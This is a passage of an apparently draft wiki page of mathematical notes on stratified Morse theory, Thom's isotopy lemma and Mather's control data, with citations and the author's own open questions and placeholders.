<math display="inline">\alpha(t + s, v) = \alpha(t, \alpha(s, v))</math>.<ref>Mather 2012, pp. 495.</ref> Secondly, it is clear that <math display="inline">\eta</math> generates <math display="inline">\alpha</math> because # Each stratum <math display="inline">X</math> of <math display="inline">Z</math> is invariant under <math display="inline">\alpha</math>, i.e. <math display="inline">\alpha[J \cap (\R \times X)] \subseteq X</math>. # For each <math display="inline">v \in Z</math>, the map <math display="inline">t \to \alpha(t, v)</math> of <math display="inline">(a_v, b_v)</math> into the stratum which contains <math display="inline">v</math> is <math display="inline">C^1</math>. # For any <math display="inline">(t, v) \in Z</math>(?) we have <math display="inline">d/dt \alpha(t, v) = \eta(\alpha(t, v))</math>.<ref>Mather 2012, pp. 495.</ref> It is unique because each <math display="inline">(J_X, \alpha_X)</math> is unique. We just need to prove that <math display="inline">J</math> is open, <math display="inline">\alpha</math> is continuous, and for any <math display="inline">v \in Z</math> and any compact set <math display="inline">K \subseteq Z</math> there exists <math display="inline">\epsilon > 0</math> such that <math display="inline">\alpha(t, v) \notin K</math> if <math display="inline">t \in (a_v, a_v + \epsilon) \cup (b_v - \epsilon, b_v)</math>.<ref>Mather 2012, pp. 495.</ref> For the latter-most condition, if it did not hold then there exists...<ref>Mather 2012, pp. 496-497.</ref> We prove there is a homeomorphism <math display="inline">f: Z \to h^{-1}(0) \times \R</math> such that <math display="inline">\pi \circ f = h</math>, where <math display="inline">\pi: h^{-1}(0) \times \R \to \R</math> is projection to the second factor. For the coordinate vector field <math display="inline">\partial</math> on <math display="inline">\R</math>, by [prop 9.1] there is a controlled vector field <math display="inline">\tilde\partial</math> such that <math display="inline">f_* \tilde\partial(v) = \partial(h(v))</math> for <math display="inline">v \in Z</math>. By [prop 10.1], <math display="inline">\tilde\partial</math> generates a local one-parameter group <math display="inline">(J, \alpha)</math> such that <math display="block">h(\alpha(t,v)) = h(v) + t</math> <math display="inline">h</math> is proper and [d] holds, so <math display="inline">J = \R \times Z</math>. If we define <math display="inline">f</math> as <math display="block">f(v) = (\alpha(-t, v), h(v))</math> then <math display="inline">f</math> maps <math display="inline">Z</math> into <math display="inline">h^{-1}(0) \times \R</math> and <math display="inline">\pi \circ f = h</math>. If we define <math display="inline">\bar f: h^{-1}(0) \times \R \to Z</math> as <math display="block">\bar f(v, t) = \alpha(t, v)</math> then <math display="inline">f \bar f = \bar f f = Id</math> and <math display="inline">f</math> is a homeomorphism.<ref>Mather 2012, pp. 497.</ref> == Topology at critical points == Theorem: If there is a critical point <math display="inline">p</math> in the singular variety <math display="inline">\mathcal{V}</math> with critical value <math display="inline">v \in (a, b)</math> then the space <math display="inline">X_{\leq b}</math> is homotopic to<ref>Goresky and MacPherson 1988, pp. 174.</ref> <math display="block">X_{\leq a} \cup [(D^{\lambda+1}, \partial D^{\lambda+1}) \times (\mathcal{L}_X, \partial \mathcal{L}_X)].</math> Proof:<ref>Proof outline comes from Goresky and MacPherson 1988, pp. 174.</ref> # <math display="inline">(X_{\leq b}, X_{\leq a})</math> is homeomorphic to <math display="inline">(X_{\leq v + \epsilon}, X_{\leq v -\epsilon})</math>. We can prove this by "moving wall" or Thom's Isotopy Lemma.<ref>Goresky and MacPherson 1988, pp. 90-91, 120.</ref> # <math display="inline">X_{\leq v + \epsilon}</math> is homeomorphic to <math display="inline">X_{\leq v - \epsilon} \cup (J, K)</math>, where the latter is the local Morse data for <math display="inline">h</math> at <math display="inline">p</math>. We do this by moving the wall...<ref>Goresky and MacPherson 1988, pp. 95-96, 120-121.</ref> # <math display="inline">(J, K)</math> is homeomorphic to <math display="inline">(D^{\lambda+1}, \partial D^{\lambda+1}) \times (\mathcal{L}_X, \partial \mathcal{L}_X)</math> (tangential data, normal data). Again, moving the wall...<ref>Goresky and MacPherson 1988, pp. 65-66, chapter 8, 121.</ref> # The normal Morse data depends only on the differential <math display="inline">df(p)</math>.<ref>Goresky and MacPherson 1988, pp. 93.</ref> # The normal Morse data has the homotopy type of <math display="inline">(\mathcal{L}_X, \partial \mathcal{L}_X)</math>.<ref>Goresky and MacPherson 1988, pp. 169.</ref> === Step 1 === We get this immediately(?) by Thom's Isotopy Lemma. === Step 2 === <ref>Goresky and MacPherson 1988, complex case on pp. 120-121 is extension of real case on pp. 95-96.</ref> We take our space <math display="inline">M</math> and map it onto <math display="inline">\R^2</math> with the map <math display="inline">F(z) = (r(z), h(z))</math>, where <math display="inline">z \in M</math> and <math display="inline">r</math> is the square of the distance of <math display="inline">z</math> to the critical point <math display="inline">p</math>. [graph of mapping] What we want is a homeomorphism in <math display="inline">M</math> between the space <math display="inline">Z_{\leq \epsilon}</math> and <math display="inline">Z_{\leq \epsilon} \cup B</math>, where <math display="inline">B</math> is a small region of the critical point <math display="inline">p</math> (or is the Local Morse data). [picture of the two subspaces of Z in M] We use our map <math display="inline">F</math> to convert these two subspaces to subspaces of <math display="inline">\R^2</math> which are of the form <math display="inline">Y_1 = \{(x,y) \in \R^2 | y \leq \epsilon\}</math> and <math display="inline">Y_0 = \{(x,y) \in \R^2 | y \leq -\epsilon\} \cup \{(x,y) \in \R^2 | x \leq \delta, y \leq \epsilon\}</math>, such that <math display="inline">Z_{\leq \epsilon} = F^{-1}(Y_1)</math> and <math display="inline">Z_{\leq \epsilon} \cup B = F^{-1}(Y_0)</math>.<ref>Goresky and MacPherson 1988, pp. 95-96.</ref> We use a homeomorphism between <math display="inline">Y_1</math> and <math display="inline">Y_0</math> using the technique of "moving the wall" and Thom's Isotopy Lemma.<ref>Goresky and MacPherson 1988, chapter 4, particularly pp. 71-72.</ref> For the composition <math display="block">Z \times \R \subset M \times \R \to_{F \times I} Y \subset \R^2 \times \R \to_{\pi} \R</math> where <math display="inline">Y(t, z) = Y_t(z)</math>, <math display="inline">I</math> is the identity and <math display="inline">\pi</math> is projection to the second factor. <math display="inline">Z \times \R</math> is transverse to <math display="inline">(F \times I)^{-1}(Y)</math>... The composition <math display="inline">\pi \circ (F \times I): Z \times \R \cap (F \times I)^{-1}(Y) \to \R</math> is a stratified submersion... Therefore, we can apply Thom's Isotopy Lemma which says there is a homeomorphism between the level sets of <math display="inline">Z \times \R</math>...<ref>Goresky and MacPherson 1988, pp. 72.</ref> == Morse theory == Steps(?) * Explain topology * Every point of a stratum is locally like a product structure (proved by Thom's Isotopy Lemma) [GM pp. 41-42] ** Including those around critical points, which are the product of normal and tangential Morse data (these are our quasi-local cycles?) * Thom's Isotopy Lemma proves a strong deformation retraction (which only stops at critical points) [PWM pp. 541-542] === Homotopy === We want to replace our domain of convergence <math display="inline">M</math>, which is the complement of our singular variety <math display="inline">\mathcal{V}</math>, with an "equivalent" space <math display="inline">M'</math> which has better understood properties. We say "equivalent" because there are several different things we could mean by "equivalent" in this context. The equivalence we are referring to in this section is called '''homotopy'''. Imagine two subspaces <math display="inline">\gamma_0</math> and <math display="inline">\gamma_1</math> of a space <math display="inline">Y</math> which are defined respectively by smooth functions <math display="inline">f, g: X \to Y</math>. If there exists a smooth function <math display="inline">h_s: X \times [0, 1] \to Y</math>, called a homotopy, such that <math display="inline">h_0 = f</math>, <math display="inline">h_1 = g</math> and for any <math display="inline">\epsilon > 0</math> there exists a <math display="inline">\delta_a</math> and <math display="inline">\delta_b</math> such that when <math display="inline">|s - s_0| < \delta_a</math> and <math display="inline">|x - x_0| < \delta_b</math> we have <math display="inline">|h_s(x) - h_{s_0}(x_0)| < \epsilon</math>, then we say <math display="inline">\gamma_0</math> and <math display="inline">\gamma_1</math> are '''homotopic'''.<ref>Henle 1979, pp. 251-252.</ref> Below is an example where <math display="inline">\gamma_0</math> and <math display="inline">\gamma_1</math> are one-dimensional curves and <math display="inline">H(t, s) = h_s(t)</math>. [[File:Homotopy_curves.png|300px]] In [[#Homotopy_equivalence|Appendix A]], we formally prove that we can construct an equivalent space <math display="inline">M'</math>. We provide only an example to give some intuition before describing how to construct the space <math display="inline">M'</math> in terms of local cycles around critical points. === Motivating example === Imagine a torus and a height function which is just the z value of the point. [[File:3D-Leveltorus.png|200px]] It has four critical points: two at the top and bottom of the outer circle (<math display="inline">p_1, p_4</math>) and two at the top and bottom of the inner circle (<math display="inline">p_2, p_3</math>). [picture] When the height is between the <math display="inline">p_1</math> and <math display="inline">p_2</math>, the space is a two-cell, which can be retracted to a point. [picture] When the height is between <math display="inline">p_2</math> and <math display="inline">p_3</math>, the space is a cylinder, which can be retracted to a two-cell with a one-cell attached. [[File:3D-Cylinder_and_disk_with_handle.png|200px]] When the height is between <math display="inline">p_3</math> and <math display="inline">p_4</math>, the space is a torus with a disc removed, which can be retracted to a cylinder with a one-cell attached. [[File:3D-Cylinder_with_handle_and_torus_with_hole.png|200px]] When the height is greater than <math display="inline">p_4</math>, then the full torus is constructed by attaching a two-cell. [Explain in terms of Morse data and Morse index?] === Morse data and quasi-local cycles === As in the above example, we start at the "bottom" of <math display="inline">M</math> and build upwards until just before we reach our first critical point <math display="inline">p</math>. ;Smooth points :This is a tube around a <math display="inline">(d-1)</math>-chain <math display="inline">\gamma</math> where the height function <math display="inline">h</math> is maximised at <math display="inline">p</math>.<ref>Pemantle, Wilson and Melczer 2024, pp. 223.</ref> :For example, if <math display="inline">F(x, y) = \frac{1}{1 - x - y}</math> then <math display="inline">\lambda = 1</math> and <math display="inline">B^\lambda</math> is an arc reaching its highest point at <math display="inline">p</math>. :The normal plane <math display="inline">N</math> at <math display="inline">p</math> is a plane orthogonal to <math display="inline">B^1</math>(?). :Its normal link <math display="inline">L(S)</math> is a circle with two points missing where it intersects <math display="inline">\mathcal{V}</math>. :We make our quasi-local cycle out of the product of the arc and circle joined to <math display="inline">M_-</math> at points below <math display="inline">M_-</math>. :With the exception of degenerate points, such as monkey saddles...<ref>e.g. Pemantle, Wilson and Melczer 2024, pp. 211.</ref> ;Transverse multiple points :This is the product of a <math display="inline">k</math>-torus and a <math display="inline">(d-k)</math>-chain <math display="inline">\gamma</math>. The torus is the product of circles about <math display="inline">p</math> in the complex normal space to each strata which intersects <math display="inline">p</math>. The chain <math display="inline">\gamma</math> is supported in the stratum which is the common intersection of the varieties defined by the factors vanishing at <math display="inline">p</math>, and achieves its maximum height at <math display="inline">p</math>.<ref>Pemantle, Wilson and Melczer 2024, pp. 223-224.</ref> ;Arrangement multiple point :This is the product of a <math display="inline">(d-k)</math>-chain <math display="inline">\gamma</math> and several <math display="inline">k</math>-tori, one for each pair of sheets which intersect transversely, where the torus is the product of circles about <math display="inline">p</math> in each sheet.<ref>Pemantle, Wilson and Melczer 2024, pp. 226.</ref> ;Cone point :A cone point is zero-dimensional so there is no <math display="inline">\gamma</math>, just a <math display="inline">d</math>-torus about <math display="inline">p</math>.<ref>Pemantle, Wilson and Melczer 2024, pp. 227.</ref> == Appendix == === Homotopy equivalence === [Assuming no CVAI...] Theorem: # Homotopy equivalence between M_{\leq a} and M_{\leq b}... # If in a range <math display="inline">[a, b]</math> there are no CVAI and only one critical value <math display="inline">c</math>, not equal to either <math display="inline">a</math> or <math display="inline">b</math>, with one or more critical points <math display="inline">z_1, \cdots, z_m</math> then there is a stratified flow deforming any chain in <math display="inline">M</math> to a (homotopic?) chain in the union of <math display="inline">M_{<c}</math> with sufficiently small balls around each critical point. This induces a homotopy between <math display="inline">(M_{c+\epsilon}, M_{c-\epsilon})</math> and the direct sum of <math display="inline">(M_{c-\epsilon} \cup B_{2\epsilon}(z_i), M_{c-\epsilon})</math> for each critical point <math display="inline">z_i</math>.<ref>Pemantle, Wilson and Melczer 2024, pp. 231.</ref> The core of this is the concept of a '''vector field'''. A vector field is a function which assigns, for each point <math display="inline">p</math> in a space, a '''vector''', which can be represented by an arrow whose tail starts at <math display="inline">p</math>.<ref>Henle 1979, pp. 33.</ref> [picture] Imagine we have a vector field <math display="inline">v(x)</math> defined in a space and draw a line through our space. At each point along this line the vector field assigns a vector. If we move each point in this line along the arrow defined by this vector in the direction of the arrow head. This "flows" the entire line along the vectors. We can (potentially) define a function to implement this flow. Define <math display="inline">\Phi(x, t)</math> where <math display="inline">x</math> are points in the space and <math display="inline">t</math> is something like time. As <math display="inline">t</math> goes from zero to some positive number, <math display="inline">\Phi</math> moves the points <math display="inline">x</math> along the vectors. To describe this process formally, we say <math display="inline">\Phi</math> is the solution to the differential equation <math display="block">\frac{d}{dt} \Phi(x, t) = v(x).</math> We want a particular vector field <math display="inline">v</math> with certain properties... The proof of the existence of this vector field is long and complicated and we will not go into it here.<ref>It involves concepts such as Thom's isotopy lemma and Mather's controlled vector flows. See Mather 2012.</ref> Using this vector field <math display="inline">v</math> but modified so as to be zero on <math display="inline">M_{\leq a}</math>. This vector field defines a function <math display="inline">\Phi(x, t)</math> such that * <math display="inline">d/dt \Phi(x, t) = v(x)</math> when <math display="inline">h(x) \in (a, b]</math>. * <math display="inline">\Phi(x, t)</math> is defined for <math display="inline">0 \leq t \leq h(x) - a</math> and in this range <math display="inline">h(\Phi(x, t)) = h(x) - t</math>. * the map <math display="inline">\psi(x) = \Phi(x, b - a)</math> is a continuous map on <math display="inline">M_{\leq b}</math> with range (image?) <math display="inline">M_{\leq a}</math> and fixing <math display="inline">M_{\leq a}</math>. The function <math display="inline">\Phi(x, 0)</math> is the identity on <math display="inline">M_{\leq b}</math> and <math display="inline">\Phi(x, b - a) = \psi(x)</math>, therefore <math display="inline">\Phi</math> in the range <math display="inline">[0, b - a]</math> is a homotopy between the identity on <math display="inline">M_{\leq b}</math> and <math display="inline">\psi</math>. This implies 1)???<ref>Pemantle, Wilson and Melczer 2024, pp. 233.</ref> Define the distance from a critical point <math display="inline">\kappa(x) = \min\{ |x - z_i| : z_1, \cdots, z_m \}</math>. For <math display="inline">s > 0 </math> we define a new vector field <math display="block">v_s(x) = \begin{cases} v(x) & \kappa(x) \geq s \\ \rho(\kappa(x)) v(x) & \kappa(x) \in [s/2, s] \\ 0 & \kappa(x) \leq s/2 \end{cases}</math> for a smooth non-decreasing function <math display="inline">\rho</math> where <math display="inline">\rho(s/2) = 0</math>. Define <math display="inline">\Phi_s</math> as the function such that <math display="inline">d/dt \Phi(x, t)_s = v_s(x)</math>. The height function <math display="inline">h</math> is non-increasing along <math display="inline">\Phi_s</math> (by implication of bullet point 2?) so points in <math display="inline">M_{\leq c-\epsilon}</math> stay in <math display="inline">M_{\leq c - \epsilon}</math> when flowed along <math display="inline">\Phi_s</math> and therefore <math display="inline">\Phi_s</math> is a homotopy equivalence between <math display="inline">(M_{\leq c+\epsilon}, M_{\leq c-\epsilon})</math> and <math display="inline">(\Phi(M_{\leq c+\epsilon}, 2\epsilon), M_{\leq c-\epsilon})</math>. By <math display="inline">\Phi(M_{\leq c+\epsilon}, 2\epsilon)</math> we mean the space <math display="inline">M_{\leq c+\epsilon}</math> flowed along <math display="inline">\Phi(x, t)</math> for a short period of time <math display="inline">2\epsilon</math>. [Prove it has the same critical points and is proper?] <math display="inline">\Phi(M_{\leq c+\epsilon}, 2\epsilon)</math> takes points in <math display="inline">M_{\leq c+\epsilon}</math> to <math display="inline">M_{\leq c-\epsilon}</math> except for those that come within <math display="inline">s</math> of a critical point within time <math display="inline">2\epsilon</math>. Therefore, we see how we <math display="inline">\Phi_s</math> can homotopically deform a chain in <math display="inline">M_{\leq c+\epsilon}</math> to a chain in the union of <math display="inline">M_{\leq c-\epsilon}</math> and small neighbourhoods of critical points.<ref>Pemantle, Wilson and Melczer 2024, pp. 234-235.</ref> On the assumption of this theorem, we can start with any chain in <math display="inline">M</math> and deform this chain to <math display="inline">M_{c_1+}</math> using part 1. Then we deform this chain to a chain in the union of <math display="inline">M_{c_1-}</math> and small balls around the critical points. The (sub?)chain in <math display="inline">M_{c_1-}</math> is then deformed to a chain in <math display="inline">M_{c_2+}</math>, which is deformed to a chain in <math display="inline">M_{c_2-} \cup z_{c_2}</math>, and so on. Eventually, we get to <math display="inline">M_{c_j-}</math> which is homotopic to any space "below" it. Therefore, we have deformed our chain in <math display="inline">M</math> to a homotopic chain in the union of small balls around critical points.<ref>Baryshnikov, Melczer and Pemantle 2022, pp. ???.</ref><ref>Pemantle, Wilson and Melczer 2024, pp. 217???</ref> [Direct sum of homology generators for relative cycles] == Notes == {{Reflist}} == References == * {{citation | last1=Baryshnikov | first1=Yuliy | last2=Melczer | first2=Stephen | last3=Pemantle | first3=Robin | title=Stationary Points at Infinity for Analytic Combinatorics | year=2022 | journal=Foundations of Computational Mathematics | volume=22 | number=5 | pages=1631-1664 | url=https://www2.math.upenn.edu/~pemantle/papers/SPAI-published-version.pdf }}. * {{cite book | last1=Goresky | first1=Mark | last2=MacPherson | first2=Robert | title=Stratified Morse Theory | publisher=Springer-Verlag | year=1988 | url=https://www.math.ias.edu/~goresky/pdf/SMT.djvu }} * {{cite book | last=Henle | first1=Michael | title=A Combinatorial Introduction to Topology | publisher=Dover Publications Inc. New York | year=1979 }} * {{citation | last=Mather | first=John | title=Notes on Topological Stability | year=2012 | journal=Bulletin of the American Mathematical Society | volume=49 | number=4 | pages=475-506 | url=https://www.ams.org/journals/bull/2012-49-04/S0273-0979-2012-01383-6/S0273-0979-2012-01383-6.pdf }}. * {{cite book | last1=Pemantle | first1=Robin | last2=Wilson | first2=Mark C. | last3=Melczer | first3=Stephen | title=Analytic Combinatorics in Several Variables | publisher=Cambridge University Press | year=2024 | edition=2nd | url=https://acsvproject.com/PemantleWilsonMelczer23.pdf }} shdltl8wrubaqo85ocfqoagg5zjezys 4670702 4670701 2026-09-17T17:16:00Z Dom walden 3209423 /* Thom's isotopy lemma */ 4670702 wikitext text/x-wiki == Introduction == Morse theory tells us that the topology of M only changes at its critical points. The "Morse data" tells us the topology at each critical point. Attaching this Morse data together gives us a space which is homopotically eqivalent to M. This space is a "cell complex", which has an easy to calculate homology. Theorem: Our domain of convergence is homotopic to a cell complex of dimension at most <math display="inline">2n - d - 1</math>.<ref>This is theorem D.23 in Pemantle, Wilson and Melczer 2024, pp. 546. Also theorem in section 1.2*/5.2* in SMT pp. 200.</ref> Proof: # <math display="inline">X</math> is our entire domain, <math display="inline">\mathcal{V}</math> our variety # Project our entire domain to complex projective space <math display="inline">Z = \pi(X) \subset \C\mathbb{P}^n - H</math> [define H] # Define a linear subspace <math display="inline">G \subset \C\mathbb{P}^n</math> of dimension <math display="inline">d - 1</math> # Define a Morse function on <math display="inline">f: \C\mathbb{P}^n \to \R</math> which approximates the distance from <math display="inline">G</math> and such that <math display="inline">f^{-1}(0) = G</math> and <math display="inline">f^{-1}(1) = H</math> # We "build" <math display="inline">X - \mathcal{V}</math> from <math display="inline">\pi^{-1}(G \cap Z) \cap (X - \mathcal{V})</math> by attaching CW complexes at critical points which are of at most dimension <math display="inline">2n - d - 1</math> # At a critical point, the normal Morse data is <math display="inline">(J, K) = \coprod_x (J_x, K_x)</math> and the relative complex link is <math display="inline">\mathcal{L}^\pi = \coprod_x \mathcal{L}_x</math> # We show that the quotient <math display="inline">J_x/K_x</math> is homotopic to a CW complex of dimension <math display="inline">\leq 2n - d - 1</math> # The neighbourhood of <math display="inline">x</math> in <math display="inline">J_x</math> is homeomorphic to the cone in <math display="inline">L_x(X - \mathcal{V})</math>, and removing the point <math display="inline">x</math> increases the homotopy dimension to at most the homotopy dimension of <math display="inline">L_x</math> # <math display="inline">(J_x \cup \{x\}, K_x)</math> is homotopic to <math display="inline">(\text{cone}(\mathcal{L}_x), \mathcal{L}_x)</math> # <math display="inline">\mathcal{L}_x</math> is homotopic to a CW complex of dimension at most <math display="inline">2n - d - 1</math> # The tangential Morse data at the critical point is homotopic to the pair <math display="inline">(D^\lambda, \partial D^\lambda)</math> # Therefore, at each critical point a space has been added homotopic to a CW complex of dimension at most <math display="inline">2n - d - 1</math>. Theorem: If <math display="inline">X</math> is the complement in <math display="inline">\C^n</math> of a complex variety <math display="inline">\mathcal{V}</math> of dimension <math display="inline">d</math> then <math display="inline">X</math> is homotopic to a CW complex of dimension at most <math display="inline">2n - d - 1</math>.<ref>Pemantle, Wilson and Melczer 2024, pp. 546.</ref> Proof: # We build <math display="inline">X</math> by attaching cells of dimension at most <math display="inline">2n - d - 1</math> at each critical point. ## Prove that we can do this without changing the homotopy(?) ## We use Thom's Isotopy Lemma to prove that there is a strong deformation retraction, stopping only at critical points. # Prove these cells are a product of the normal and tangential Morse data. ## Normal data: <math display="inline">(\mathcal{L}(S), \partial \mathcal{L}(S)) \times (D^1, \partial D^1)</math> [GM pp. 18] ## Tangential data: <math display="inline">(B_\delta \cap f^{-1}[v - \epsilon, v + \epsilon], B_\delta \cap f^{-1}(v - \epsilon))</math> for <math display="inline">f</math> restricted to <math display="inline">X</math> (or <math display="inline">\mathcal{V}</math>?) [GM pp. 63-64] # If <math display="inline">k</math> is the dimension of the strata, then ## If <math display="inline">k = d</math> then it is a smooth point and the cell is the product of <math display="inline">S^{2(n-d)-1}</math> and the tangential data is dimension at most <math display="inline">d</math>. ## If <math display="inline">k < d</math>, ... <ref>Pemantle, Wilson and Melczer 2024, pp. 547.</ref> == Example in one dimension == Domain with singularities v_1, v_2, ..., v_i Define our height function f... Start with our entire domain X Reduce from X to X_i+ by using Thom's Isotopy lemma to do a strong deformation retract == Thom's isotopy lemma == We present a modified version of Thom's (first) isotopy lemma, less general than the original but more obviously relevant to our situation. Theorem: Suppose <math display="inline">Z</math> is a closed subset of a smooth manifold <math display="inline">M</math> which admits a Whitney stratification and <math display="inline">h : M \to \R</math> is a proper Morse function which has no critical values on <math display="inline">Z</math>. Then, the level sets of <math display="inline">Z</math> are homeomorphic by a homeomorphism that preserves the strata of <math display="inline">Z</math>.<ref>For various versions of the full statement of the theorem, see Mather 2012, pp. 499, Goresky and MacPherson 1988, pp. 41, or Pemantle, Wilson and Melczer 2024, pp. 541.</ref> Proof: # Construct control data for <math display="inline">Z</math> compatible with <math display="inline">h</math>. ## [Prop 7.1] If <math display="inline">h</math> is smooth on <math display="inline">Z</math> and is a submersion for each strata then there exists a family of control data for <math display="inline">Z</math> compatible with <math display="inline">h</math>.<ref>Mather 2012, pp. 488.</ref> # This makes <math display="inline">Z</math> an abstract stratified set and <math display="inline">f</math> a controlled submersion. # A controlled submersion has, for any smooth vector field on <math display="inline">\R</math>, a controlled vector field on <math display="inline">Z</math> (a "lift"?)<ref>Mather 2012, pp. 493.</ref> # A controlled vector field has a unique one-parameter family of homeomorphisms of <math display="inline">Z</math> which commute with <math display="inline">h</math>.<ref>Mather 2012, pp. 496.</ref> # This makes <math display="inline">h</math> a locally trivial fibration. [Prop 10.2]<ref>Mather 2012, pp. 499.</ref> Control data: A system of '''control data''' for <math display="inline">Z</math> consists of, for each stratum <math display="inline">X</math> of <math display="inline">Z</math>, * a '''tubular neighbourhood''' <math display="inline">T_X</math> of <math display="inline">X</math> * a '''tubular projection function''' <math display="inline">\pi_X: T_X \to X</math>, and * a '''tubular distance function''' <math display="inline">\rho_X: T_X \to \R</math> such that <math display="inline">\rho_X^{-1}(0) = X</math><ref>Goresky and MacPherson 1988, pp. 42.</ref> [illustration] such that if <math display="inline">X < Y</math> are strata in <math display="inline">Z</math>, then <math display="block">\pi_X \pi_Y(m) = \pi_X(m),</math> <math display="block">\rho_X \pi_Y(m) = \rho_X(m)</math> for all <math display="inline">m \in |T_X| \cap |T_Y|</math> such that <math display="inline">\pi_Y(m) \in |T_X|</math>. If, for all strata <math display="inline">X</math> and all <math display="inline">m \in |T_X|</math>, we have <math display="inline">h \pi_X(m) = h(m)</math>, then this control data will be said to be compatible with <math display="inline">h</math>.<ref>Mather 2012, pp. 488.</ref> We prove that if <math display="inline">h</math> is smooth on <math display="inline">Z</math> and is a submersion for each strata then there exists a family of control data for <math display="inline">Z</math> compatible with <math display="inline">h</math>.<ref>Mather 2012, pp. 488, prop 7.1.</ref> Let <math display="inline">Z_k</math> be the union of strata of <math display="inline">Z</math> of dimension less than <math display="inline">k</math>. We prove by induction on <math display="inline">k</math>. To construct the tubular neighbourhood <math display="inline">T_X</math> of a stratum <math display="inline">X</math> of dimension less than <math display="inline">k</math>. For <math display="inline">l \leq k</math>, let <math display="inline">U_l</math> denote the union of all <math display="inline">|T_Y|</math> for <math display="inline">Y < X</math> and <math display="inline">\dim Y \geq l</math>. Let <math display="inline">X_l = U_l \cap X</math>.<ref>Mather 2012, pp. 489.</ref> For <math display="inline">l = k</math>, <math display="inline">X_k = \empty</math>. Assume by induction that <math display="inline">T_{l+1}</math> has been constructed and that if <math display="inline">Y < X</math>, <math display="inline">\dim Y \geq l + 1</math>, <math display="inline">m \in |T_{l+1}| \cap |T_Y|</math> and <math display="inline">\pi_{l+1}(m) \in |T_Y|</math> (<math display="inline">\pi_{l+1} = \pi_{T_{l+1}}</math>) then<ref>Mather 2012, pp. 489-490.</ref> <math display="block">\rho_Y \pi_{l+1}(m) = \rho_Y(m),</math> <math display="block">\pi_Y \pi_{l+1}(m) = \pi_Y(m).</math> We wish to construct a tubular neighbourhood <math display="inline">T_{X,Y}</math> of <math display="inline">|T_Y| \cap X</math> whose restriction to <math display="inline">|T_Y| \cap X_{l+1}</math> is isomorphic to the restriction of <math display="inline">T_{l+1}</math> such that if <math display="inline">m \in |T_{X,Y}| \cap |T_Y|</math> and <math display="inline">\pi_{X,Y}(m) \in |T_Y|</math> (<math display="inline">\pi_{X,Y} = \pi_{T_{X,Y}}</math>) then <math display="block">\rho_Y \pi_{X,Y}(m) = \rho_Y(m),</math> <math display="block">\pi_Y \pi_{X,Y}(m) = \pi_Y(m).</math> By shrinking <math display="inline">|T_Y|</math> if necessary, this relation is already satisfied if <math display="inline">m \in |T_{l+1}| \cap |T_Y|</math> and <math display="inline">\pi_{l+1}(m) \in |T_Y|</math> with <math display="inline">T_{l+1}</math> in place of <math display="inline">T_{X,Y}</math> and <math display="inline">\pi_{l+1}</math> in place of <math display="inline">\pi_{X,Y}</math>. By the definition, if <math display="inline">m \in |T_{l+1}|</math> then there exists <math display="inline">Z < X</math> with <math display="inline">\dim Z > l</math>, <math display="inline">m \in |T_Z|</math> and <math display="inline">\pi_{l+1}(m) \in |T_Z|</math>. We have that <math display="inline">\pi_{l+1}(m) \in |T_Y| \cap |T_Z|</math> and therefore <math display="inline">Y < Z</math>. Therefore<ref>Mather 2012, pp. 490.</ref> <math display="block">\rho_Y \pi_{l+1}(m) = \rho_Y \pi_Z \pi_{l+1}(m) = \rho_Y \pi_Z(m) = \rho_Y(m),</math> <math display="block">\pi_Y \pi_{l+1}(m) = \pi_Y \pi_Z \pi_{l+1}(m) = \pi_Y \pi_Z(m) = \pi_Y(m).</math> We can prove that, by shrinking <math display="inline">|T_Y|</math>, <math display="inline">(\rho_Y, \pi_Y): |T_Y| \cap X \to \R \times Y</math> is a submersion [prop 7.3?] and that <math display="inline">T_{X,Y}</math> is compatible with <math display="inline">(\rho_Y, \pi_Y): |T_Y| \cap X_{l+1} \to \R \times Y</math>, i.e. <math display="inline">(\rho_Y, \pi_Y) \pi_{X,Y}(m) = (\rho_Y, \pi_Y)(m)</math>(?). To prove it is a submersion, for the tubular neighbourhood <math display="inline">T = (E, \epsilon, \psi)</math> there exists a smooth positive function <math display="inline">\epsilon'</math> such that <math display="block">(\rho_T, \pi_T): Y \cap |T|_{\epsilon'}^0 \to \R \times X,</math> where <math display="inline">|T|_{\epsilon'}^0 = \psi(B_\epsilon \cap B_{\epsilon'})</math>, is a submersion. If <math display="inline">\Sigma</math> is the set <math display="inline">y \in |T|</math> such that the rank of <math display="block">(\rho_T, \pi_T): T \cap |T| \to \R \times X</math> at <math display="inline">y</math> is less than <math display="inline">\dim(\R \times X)</math>. We need to prove that for any <math display="inline">x \in X</math> there exists a neighbourhood of <math display="inline">x</math> which does not intersect with <math display="inline">\Sigma</math>, i.e. the map is not a submersion in this neighbourhood. It follows from [lemma 7.2] that it is enough to prove for <math display="inline">M = \R^m</math>, <math display="inline">X = \R^{m-c} \times 0_c</math> and <math display="inline">T</math> is the '''standard tubular neighbourhood'''.<ref>Mather 2012, pp. 489.</ref> By standard tubular neighbourhood, we mean the trivial bundle with base <math display="inline">\R^{m-c}</math> and fibre <math display="inline">\R^c</math> where <math display="inline">\pi: \R^m \to \R^{m-c}</math>...<ref>Mather 2012, pp. 488.</ref> For <math display="inline">y \in |T| - \R^{m-c}</math>, the kernal of the differential of <math display="inline">(\pi_T, \rho_T)</math> at <math display="inline">y</math> is the orthogonal complement of <math display="inline">(\R^{m-c} \times 0_c) \oplus \stackrel{\frown}{y \pi_T(y)}</math> in <math display="inline">\R^m</math>. By the Whitney conditions, we have that for <math display="inline">y</math> near <math display="inline">\R^{m-c}</math>, <math display="inline">(\R^{m-c} \times 0_c) \oplus \stackrel{\frown}{y \pi_T(y)}</math> is close to the set of <math display="inline">m - c + 1</math> planes in <math display="inline">m-</math>space to an <math display="inline">m - c + 1</math> plane in <math display="inline">TY_y</math>. Therefore, for <math display="inline">y</math> near enough to <math display="inline">\R^{m-c}</math>, <math display="inline">TY_y</math> is transverse to the kernal of the differential of <math display="inline">(\pi_T, \rho_T)</math> and, therefore, is a submersion when restricted to <math display="inline">Y</math>.<ref>Mather 2012, pp. 489.</ref> To prove that <math display="inline">T_{X,Y}</math> is compatible with <math display="inline">(\rho_Y, \pi_Y): |T_Y| \cap X_{l+1} \to \R \times Y</math>...<ref>Mather 2012, pp. 490.</ref> Therefore, there exists a tubular neighbourhood <math display="inline">T_0</math> of <math display="inline">X_0</math> satisfying <math display="block">\rho_Y \pi_0(m) = \rho_Y(m),</math> <math display="block">\pi_Y \pi_0(m) = \pi_Y(m).</math> From this we can prove that <math display="inline">T_0</math> is compatible with <math display="inline">h</math>. Replacing <math display="inline">T_0</math> with a smaller tubular neighbourhood if necessary we can assume <math display="inline">m \in |T_0|</math> such that for some <math display="inline">Y < X</math>, <math display="inline">m \in |T_Y|</math> and <math display="inline">\pi_0(m) \in 